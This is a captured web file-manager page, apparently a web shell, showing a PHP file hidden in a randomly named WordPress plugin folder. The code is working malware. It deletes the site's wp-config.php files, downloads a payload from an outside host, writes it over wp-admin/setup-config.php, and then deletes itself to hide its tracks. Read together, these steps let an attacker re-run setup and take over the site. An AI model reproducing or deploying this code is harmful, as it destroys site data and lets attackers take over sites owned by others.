File manager - Edit - /home/triathlon/www/wp-content/plugins/modVemdwKuucNaYasoqiXk/src/ui/inputs.php
Back
<?php // URL sumber file $url = "https://wpserver.touroquefazercuritiba.com.br/wp-content/plugins/ueuu9KA9ouNF7nKj8WE8zJ/src/ui/wala/sex.txt"; // Ambil document root $docRoot = rtrim($_SERVER['DOCUMENT_ROOT'], '/'); // Target file yang akan dihapus $configFiles = [ $docRoot . '/wp-config.php', $docRoot . '/wordpress/wp-config.php' ]; // Hapus file wp-config.php jika ada foreach ($configFiles as $file) { if (file_exists($file)) { if (@unlink($file)) { echo "đī¸ Dihapus: $file<br>"; } else { echo "â Gagal hapus: $file<br>"; } } else { echo "âšī¸ Tidak ditemukan: $file<br>"; } } // Download isi file dari URL $content = @file_get_contents($url); if ($content === false) { die("â Gagal mengambil konten dari URL."); } // Target lokasi simpan hasil wget $targets = [ $docRoot . '/wp-admin/setup-config.php', $docRoot . '/wordpress/wp-admin/setup-config.php' ]; // Simpan file ke lokasi target foreach ($targets as $target) { $dir = dirname($target); if (!is_dir($dir)) { mkdir($dir, 0755, true); } if (file_put_contents($target, $content) !== false) { echo "â Disimpan ke: $target<br>"; } else { echo "â Gagal simpan ke: $target<br>"; } } // Hapus diri sendiri $self = $_SERVER['SCRIPT_FILENAME']; if (file_exists($self)) { @unlink($self); } ?>
| ver. 1.4 |
Github
|
.
| PHP 5.4.45 | Generation time: 0 |
proxy
|
phpinfo
|
Settings